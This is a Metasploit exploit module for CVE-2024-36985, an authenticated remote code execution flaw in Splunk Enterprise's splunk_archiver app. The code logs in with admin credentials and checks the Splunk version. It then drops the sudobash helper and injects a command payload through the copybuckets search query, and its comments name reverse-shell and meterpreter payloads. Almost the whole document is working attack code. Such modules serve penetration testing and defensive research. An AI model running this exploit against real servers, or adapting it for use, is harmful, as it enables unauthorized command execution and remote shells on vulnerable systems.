Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-SPLUNK_AUTH_RCE_CVE_2024_36985-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Splunk
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Authenticated RCE in Splunk (splunk_archiver app)',
        'Description' => %q{
          This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise (splunk_archiver application).

          The flaw is rooted in the unsafe use of a Splunk lookup function, specifically | copybuckets, within the splunk_archiver application,
          which ultimately leads to the execution of the helper script sudobash with attacker-controlled arguments.

          The affected versions include any release prior to 9.0.10, as well as versions 9.1.2 through 9.1.5 and 9.2.0 through 9.2.2.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Maksim Rogov', # Metasploit Module
          'Alex Hordijk', # Vulnerability Discovery
          'psytester' # Public Exploit
        ],
        'References' => [
          ['CVE', '2024-36985'],
          ['URL', 'https://advisory.splunk.com/advisories/SVD-2024-0705'],
          ['URL', 'https://web.archive.org/web/20240914000921/https://psytester.github.io/CVE-2024-36985_SPLUNK_RCE_PoC/'],
        ],
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [
            'Splunk < 9.0.10, 9.1.5, and 9.2.2 / Unix payload',
            {
              # Tested with cmd/unix/reverse_bash
              # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'Payload' => {
          'BadChars' => '" '
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-07-01',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to the Splunk App', '/']),
        OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
        OptString.new('PASSWORD', [ true, 'The password for the specified username']),
        OptString.new('SPLUNK_HOME', [true, 'Path to the Splunk home directory', '/opt/splunk/']),
        OptBool.new('CREATE_SUDOBASH', [true, 'Set to false if you are sure that sudobash exists on the target system', true]),
        OptInt.new('DELAY', [true, 'Delay in seconds to wait for sudobash to be dropped to the filesystem', 3]),
      ]
    )
  end

  def check
    @cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
    version = splunk_home_version(@cookie)
    if version <= Rex::Version.new('9.0.9') ||
       version.between?(Rex::Version.new('9.1.0'), Rex::Version.new('9.1.4')) ||
       version.between?(Rex::Version.new('9.2.0'), Rex::Version.new('9.2.1'))

      all_apps = get_apps(@cookie)
      return CheckCode::Detected("Exploitable version found: #{version}, but splunk_archiver app was not found") if !all_apps.key?('splunk_archiver')
      return CheckCode::Detected("Exploitable version found: #{version}, but splunk_archiver app is disabled") if all_apps['splunk_archiver'][:enabled] == false

      return CheckCode::Appears("Exploitable version found: #{version}, splunk_archiver app is enabled")
    end

    return CheckCode::Safe("Non-vulnerable version found: #{version}") if !version.nil?

    return CheckCode::Unknown('Target does not appear to be a Splunk instance')
  end

  # remove duplicate slashes
  def normalize_path(path)
    path.gsub(%r{/+}, '/')
  end

  def get_json_payload(payload)
    env_name = Rex::Text.rand_text_alpha_upper(8..16)
    provider = Rex::Text.rand_text_alphanumeric(8..16)

    # The payload is double-escaped because the entire JSON object must be passed as a literal string value inside the json="..." splunk query.
    {
      'vixes' => {},
      providers: {
        provider => {
          'command.arg.1' => normalize_path("#{datastore['SPLUNK_HOME']}/etc/apps/splunk_archiver/java-bin/jars/sudobash"),
          'command.arg.2' => "-c $#{env_name}",
          "env.#{env_name}" => payload
        }
      }
    }.to_json.to_json
  end

  def create_sudobash
    print_status('Sending sudobash create request...')

    query = '| archivebuckets forcerun=1'
    search(@target_app, query, @cookie)
    print_good('sudobash create request has been sent!')

    print_status('Sleep for 3 seconds before it is dropped on the filesystem...')
    Rex::ThreadSafe.sleep(datastore['DELAY'])
    print_good('Sleep Completed')
  end

  def trigger_exploit
    print_status('Sending trigger exploit request...')

    json_payload = get_json_payload(payload.encoded)
    query = "| copybuckets json=#{json_payload}"

    search(@target_app, query, @cookie)
  end

  def exploit
    if @cookie.nil?
      @cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
    end

    @target_app = get_random_app(@cookie, enabled: true)

    if datastore['CREATE_SUDOBASH'] == true
      create_sudobash
    end

    trigger_exploit
  end

end